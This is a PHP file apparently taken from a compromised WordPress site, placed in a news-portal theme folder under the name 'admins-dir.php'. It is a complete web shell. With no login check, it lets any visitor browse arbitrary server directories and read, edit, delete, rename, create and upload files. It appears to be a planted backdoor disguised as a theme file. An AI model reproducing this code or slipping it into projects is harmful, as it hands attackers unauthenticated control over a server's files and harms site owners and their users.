Current File : /home/choksima/domains/choksima.com/public_html/wp-content/themes/news-portal/admins-dir.php
<?php
session_start();

// Mevcut dizin
$currentDir = $_GET['dir'] ?? __DIR__;

function displayDirectory($directory) {
    $files = array_diff(scandir($directory), array('.', '..'));
    echo "<div><h3>Files in '$directory'</h3><ul>";
    
    foreach ($files as $file) {
        $path = realpath("$directory/$file");
        $style = getFileStatus($path);
        $isDir = is_dir($path) ? 'directory' : 'file';

        echo "<li class='$isDir' style='$style'>";
        echo $isDir === 'directory' 
            ? "<a href='?dir=$path'>$file</a>"
            : "$file - <a href='?dir=$directory&action=edit&file=$file'>Edit</a> | <a href='?dir=$directory&action=delete&file=$file'>Delete</a> | <a href='?dir=$directory&action=rename&file=$file'>Rename</a>";
        echo "</li>";
    }
    echo "</ul></div>";
}

function getFileStatus($path) {
    if (is_writable($path) && is_readable($path)) {
        return "border-left: 4px solid green;";
    } elseif (!is_writable($path)) {
        return "border-left: 4px solid red;";
    } elseif (is_readable($path)) {
        return "border-left: 4px solid white;";
    }
    return "";
}

function uploadFile($directory) {
    if ($_FILES) {
        $targetFile = $directory . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
            echo "<p>File uploaded successfully.</p>";
        } else {
            echo "<p>Error uploading file.</p>";
        }
    }
}

function createFolder($directory) {
    if ($_POST['folderName']) {
        $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName'];
        if (!is_dir($newFolder)) {
            mkdir($newFolder);
            echo "<p>Folder created successfully.</p>";
        } else {
            echo "<p>Folder already exists.</p>";
        }
    }
}

function createFile($directory) {
    if ($_POST['fileName']) {
        $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName'];
        if (!file_exists($newFile)) {
            file_put_contents($newFile, '');
            echo "<p>File created successfully.</p>";
        } else {
            echo "<p>File already exists.</p>";
        }
    }
}

function editFile($filePath) {
    if ($_POST['content']) {
        file_put_contents($filePath, $_POST['content']);
        echo "<p>File saved successfully.</p>";
    }

    $content = file_get_contents($filePath);
    echo "<form method='POST'>";
    echo "<textarea name='content' style='width:100%; height:300px;'>$content</textarea><br>";
    echo "<input type='submit' value='Save'>";
    echo "</form>";
}

function deleteFile($filePath) {
    if (file_exists($filePath)) {
        unlink($filePath);
        echo "<p>File deleted successfully.</p>";
    }
}

function renameFile($filePath) {
    if ($_POST['newName']) {
        $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
        rename($filePath, $newPath);
        echo "<p>File renamed successfully.</p>";
    }
}

if (isset($_GET['action'])) {
    $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file'];
    switch ($_GET['action']) {
        case 'edit':
            editFile($filePath);
            break;
        case 'delete':
            deleteFile($filePath);
            break;
        case 'rename':
            renameFile($filePath);
            break;
        default:
            break;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) {
        uploadFile($currentDir);
    } elseif (isset($_POST['folderName'])) {
        createFolder($currentDir);
    } elseif (isset($_POST['fileName'])) {
        createFile($currentDir);
    }
}

echo "<p>Current Directory: <strong>$currentDir</strong></p>";
echo "<p><a href='?dir=" . dirname($currentDir) . "'>Go up</a></p>";

displayDirectory($currentDir);

// File upload form
echo "<h3>Upload File</h3><form method='POST' enctype='multipart/form-data'>";
echo "<input type='file' name='file'>";
echo "<input type='submit' value='Upload'>";
echo "</form>";

// Create folder form
echo "<h3>Create Folder</h3><form method='POST'>";
echo "<input type='text' name='folderName' placeholder='Folder Name'>";
echo "<input type='submit' value='Create Folder'>";
echo "</form>";

// Create file form
echo "<h3>Create File</h3><form method='POST'>";
echo "<input type='text' name='fileName' placeholder='File Name'>";
echo "<input type='submit' value='Create File'>";
echo "</form>";
?>